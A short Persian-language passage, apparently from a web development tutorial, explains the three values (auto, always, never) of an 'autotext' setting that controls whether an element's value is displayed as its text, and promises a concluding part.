autotext | سه مقدار دارد auto (پیش فرض)،always و never. موقعیکه عنصر شما متنی نداشته باشد و روی auto تنظیم شده باشد، مقدار value را به عنوان متن عنصر نمایش میدهد. always کاری ندارد که عنصر شما متن دارد یا خالی است؛ مقدار value به آن انتساب داده خواهد شد. never هیچگاه. |
در قسمت بعدی که قسمت پایانی است مطالب را ادامه میدهیم.